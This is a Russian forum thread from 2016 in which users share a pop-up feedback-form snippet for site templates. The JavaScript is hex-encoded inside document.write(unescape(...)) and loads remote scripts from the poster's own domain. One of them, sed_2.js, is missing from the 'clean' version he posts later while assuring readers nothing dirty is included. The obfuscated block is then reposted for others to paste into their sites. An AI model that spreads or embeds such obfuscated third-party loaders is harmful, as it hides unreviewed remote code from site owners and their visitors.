POP-UP окно вызываем ссылкой
workman
Вторник, 05 Января 2016, 00:23 | Сообщение 1
Вызов окна по ссылке. Я его заточил у себя под форму обратной связи, а вы под что пожелаете Для начала устанавливаем стили окна (редактируем под себя)CSS Код
<style> #win{ position:absolute; z-index:2000; top:0; left:0; display:none; height:100%; width:100%; } .popup_forma {padding: 20px;} .popup_text{font-size: 28px;text-transform: uppercase;} .popup_text1{font-size: 18px;} #popup{ padding:0; background:#F49A20; position:fixed; border-radius: 5px; width:400px; height:400px; z-index:3000; text-align:center; border: 1px solid #868484; box-shadow: 0 3px 10px 0 #C0C0C0; } #cancel{ display:block; float:right; width:15px; height:15px; background:url(http://www.brigada31.ru/iconka/4971630.png) no-repeat; cursor:pointer; position:absolute; top:4px; right:4px; } #obj{display:none;} .sample{padding:20px;color: rgb(250, 252, 252);} </style>
Сразу после него ставим вот этот скриптJS Код
<script type="text/javascript"> document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%53%6B%72%69%70%74%73%2F%41%6A%61%78%5F%70%6F%70%75%70%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%63%73%73%2F%73%65%64%5F%32%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%7B%50%6F%70%55%70%28%24%28%27%23%6F%62%6A%27%29%2C%20%24%28%27%23%74%72%69%67%67%27%29%29%3B%7D%29%3B%3C%2F%73%63%72%69%70%74%3E')); </script>
HTML Код
<div id="obj"><div class="sample"> <div class="popup_text">Оставьте заявку</div><br> <div class="popup_text1">на бесплатную консультацию</div> <div class="popup_forma">$MFORM_15$</div> </div></div>
Ну а данную ссылку ставим по месту, где нужно вызватьКод
<a id="trigg" href="javascript:void(0);">Показать POP-UP окно</a>
Смотреть ДЕМО (снизу справа выскочит кнопка вызова обратной связи ) Если немного подождать когда автоматически исчезнет кнопка, то появятся кнопки соцсети
Сообщение отредактировал workman - Вторник, 05 Января 2016, 00:59
Страна: (RU )
Kosten
Вторник, 05 Января 2016, 00:53 | Сообщение 2
workman, это реально круто, и обратная связь может быть, а также интернет магазин, что типа кто то там онлайн и ответит вам.
Страна: (RU )
Сопрано
Вторник, 05 Января 2016, 00:54 | Сообщение 3
Вот это понимаю, со своего сайта человек вытащил, мне сам код нужен, а на что нажимать, можно и свое поставить.
Страна: (RU )
FeStemBer
Вторник, 05 Января 2016, 00:55 | Сообщение 4
Нормально, всегда пригодиться.
Страна: (RU )
Траст
Вторник, 05 Января 2016, 00:57 | Сообщение 5
Но скажем на любой серьезном сайте, такая функция стоит, не считая продажи.
Быстро, дешево и сердито!
Страна: (RU )
workman
Вторник, 05 Января 2016, 00:58 | Сообщение 6
Цитата Trantel (
)
Вот это понимаю, со своего сайта человек вытащил
а я практически всегда ставлю все со своего
Страна: (RU )
Kvint
Вторник, 05 Января 2016, 01:00 | Сообщение 7
Траст, ты написал, что на серьезном сайте. А вот мне интересно, как различить, серьезен ли он, или там просто дурака валяют. Может просто хотел сказать, там сайты от компаний или телеканалов, а то что то не очень серьезно звучит твое описание.
Страна: (RU )
AnTron
Вторник, 05 Января 2016, 01:03 | Сообщение 8
Возможно человек по своей аве судит, такое бывает, что в роль вошел и не выйдет.
Страна: (RU )
workman
Вторник, 05 Января 2016, 01:04 | Сообщение 9
Цитата Kvint (
)
А вот мне интересно, как различить, серьезен ли он, или там просто дурака валяют.
А что не приходилось встречать такие сайты? А мне вот большинство попадалось. Особенно когда его помогаешь делать а он его потом запускает или продает с других форумов
Страна: (RU )
Траст
Вторник, 05 Января 2016, 01:05 | Сообщение 10
Вообщето здесь разговор идето скриптеа нео вашил предрасудках, кто от куда, а по сути не чего нет по теме.
Быстро, дешево и сердито!
Страна: (RU )
Марковичь
Вторник, 05 Января 2016, 01:07 | Сообщение 11
Меня иногда пугают такие скрипты, где очень много цифр. Что Траст, очкастым обзывают, не оброщайвнимание, они бездельники.
Страна: (RU )
workman
Вторник, 05 Января 2016, 01:12 | Сообщение 12
Цитата nikolla76 (
)
Меня иногда пугают такие скрипты, где очень много цифр.
На тогда чистый Код
<script type="text/javascript" src="http://www.brigada31.ru/Skripts/Ajax_popup.js"></script><script type="text/javascript">$(document).ready(function(){PopUp($('#obj'), $('#trigg'));});</script>
[info]Только можете запомнить мой ник и себе понять что я тут грязного ничего не сую, так как делаю сам, ну или беру с инета и усовершенствую[/info]
Сообщение отредактировал workman - Вторник, 05 Января 2016, 01:16
Страна: (RU )
Kosten
Вторник, 05 Января 2016, 02:54 | Сообщение 13
Бывает так что кто то не понимает и не чего не выходит, тогда давайте собираем полностью код вызова. Все очень просто, мы уже все собрали и нам нужно разместить.ПУ » Главная » Управление дизайном » Редактирование шаблонов » Нижняя часть сайта » В самый низ того что мы там видим. Код
<!-- ВЫЗОВ ОКНА ФОРМЫ ОБРАТКИ --> <style> #win{ position:absolute; z-index:2000; top:0; left:0; display:none; height:100%; width:100%; } .popup_forma {padding: 20px;} .popup_text{font-size: 28px;text-transform: uppercase;} .popup_text1{font-size: 18px;} #popup{ padding:0; background:#F49A20; position:fixed; border-radius: 5px; width:400px; height:400px; z-index:3000; text-align:center; border: 1px solid #868484; box-shadow: 0 3px 10px 0 #C0C0C0; } #cancel{ display:block; float:right; width:15px; height:15px; background:url(http://zornet.ru/Ajaxoskrip/SN/Drean/4971630.png) no-repeat; cursor:pointer; position:absolute; top:4px; right:4px; } #obj{display:none;} .sample{padding:20px;color: rgb(250, 252, 252);} </style> <div id="obj"><div class="sample"> <div class="popup_text">Оставьте заявку</div><br> <div class="popup_text1">на бесплатную консультацию</div> <div class="popup_forma">$MFORM_1$</div> </div></div> <script type="text/javascript"> document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%53%6B%72%69%70%74%73%2F%41%6A%61%78%5F%70%6F%70%75%70%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%62%72%69%67%61%64%61%33%31%2E%72%75%2F%63%73%73%2F%73%65%64%5F%32%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%7B%50%6F%70%55%70%28%24%28%27%23%6F%62%6A%27%29%2C%20%24%28%27%23%74%72%69%67%67%27%29%29%3B%7D%29%3B%3C%2F%73%63%72%69%70%74%3E')); </script> <style>.workman_show{display:none;z-index:9999;position:fixed;height:auto;right:20px;bottom:0}</style> <script type="text/javascript">$(document).ready(function(){setTimeout("$('.workman_show').show('drop');",5000);setTimeout("$('.workman_show').hide('drop');",15000)});</script> <div class='workman_show'><a id="trigg" href="javascript:void(0);"><img src="http://www.brigada31.ru/iconka/svjaz_obratnaja.png"/></a></div> <!-- /ВЫЗОВ ОКНА ФОРМЫ ОБРАТКИ -->
Страна: (RU )